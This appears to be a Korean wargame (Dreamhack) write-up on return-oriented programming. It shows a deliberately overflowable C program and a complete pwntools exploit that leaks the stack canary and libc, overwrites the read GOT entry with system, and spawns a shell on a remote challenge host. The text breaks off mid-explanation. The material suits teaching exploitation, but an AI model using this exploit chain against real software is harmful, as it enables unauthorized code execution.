2023.06.13
지난 코스와 달리 바이너리에서 system
함수를 호출하지 않아서 PLT에 등록되지 않으며, “/bin/sh” 문자열도 데이터 섹션에 기록하지 않습니다. 따라서 system
함수를 익스플로잇에 사용하려면 함수의 주소를 직접 구해야 하고, “/bin/sh” 문자열을 사용할 다른 방법을 고민해야 합니다.
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\\n", buf);
// Do ROP
puts("[2] Input ROP payload");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
return 0;
}
system
함수는 libc.so.6에 정의되어 있으며, 해당 라이브러리에는 이 바이너리가 호출하는 read
, puts
, printf
도 정의되어 있습니다. 라이브러리 파일은 메모리에 매핑될 때 전체가 매핑되므로, 다른 함수들과 함께 system
함수도 프로세스 메모리에 같이 적재됩니다.
그로 인해 system
가 호출되지 않아서 GOT와 PLT에 등록되지 않았다. 하지만 read
, put
,printf
는 GOT에 등록이 되어있습니다.
위와 같은 사실을 이용해서 GOT의 read
, put
,printf
함수의 주소를 조작해 system
함수에 접근한다. 나머지 익스는 return to library에서 이용한 방법으로 익스를 합니다.
중요한 것
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
과 같은 방법으로 접근하지 못한다.
밑에
#read("/bin/sh") == system("/bin/sh") payload += p64(pop_rdi) payload += p64(read_got + 0x8) payload += p64(ret) payload += p64(read_plt) 여기에서 왜 p64(read_got + 0x8)를 사용하는 이유는
리드갓 위치에는 시스템 함수 주소, 리드갓 +8 위치에는 binsh가 들어있다. 그럼 인자로 사용할 위치를 rdi에 넣었기 때문이다.
위는 /bin/sh이 없기 때문에 /bin/sh을 임의 버퍼에 직접 주입하여 참조하거나, 다른 파일에 포함 된 것을 사용해야 된다. 후자의 방법을 선택할 때 많이 사용되는 것이 libc.so.6 에 포함된 “/bin/sh” 문자열이다. 이 문자열의 주소도 system
함수의 주소를 계산할 때처럼 libc 영역의 임의 주소를 구하고, 그 주소로부터 거리를 더하거나 빼서 계산할 수 있습니다. 이 방법은 주소를 알고 있는 버퍼에 “/bin/sh”를 입력하기 어려울 때 차선책으로 사용될 수 있습니다.
from pwn import *
#read함수와 system 함수 사이에 거리는 Ubuntu GLIBC 2.27-3ubuntu1.2에서 0xc0ca0이다.
#0x0000000000400853 : pop rdi ; ret
p = remote("host3.dreamhack.games", 22312)
# p = process('./rop')
e = ELF('./rop')
libc = ELF('./libc.so.6')
#canary leak
pay = b"A"*0x39 # dumy 8byte
p.sendafter(b"Buf: ", pay)
p.recvuntil(pay)
cnry = u64(b"\\x00" + p.recv(7))
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400854
pay = b"A"*0x38 + p64(cnry) + b"A"*0x8
#exploit
# 1
pay += p64(pop_rdi) + p64(1)
pay += p64(pop_rsi_r15) + p64(read_got) + p64(0)
pay += p64(write_plt)
# 2
pay += p64(pop_rdi) + p64(0)
pay += p64(pop_rsi_r15) + p64(read_got) + p64(0)
pay += p64(read_plt)
# 3
pay += p64(pop_rdi)
pay += p64(read_got + 0x8)
pay += p64(ret)
pay += p64(read_plt)
p.sendafter(b'Buf: ', pay)
read = u64(p.recvn(6) + b'\\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
p.send(p64(system) + b'/bin/sh\\x00')
p.interactive()
처음 카나리 릭은 하던거니 생략.
카나리를 이용해서 버퍼 오버플로우를 이르키고, pop rdi ; ret
가 있는 리턴 가젯으로 간다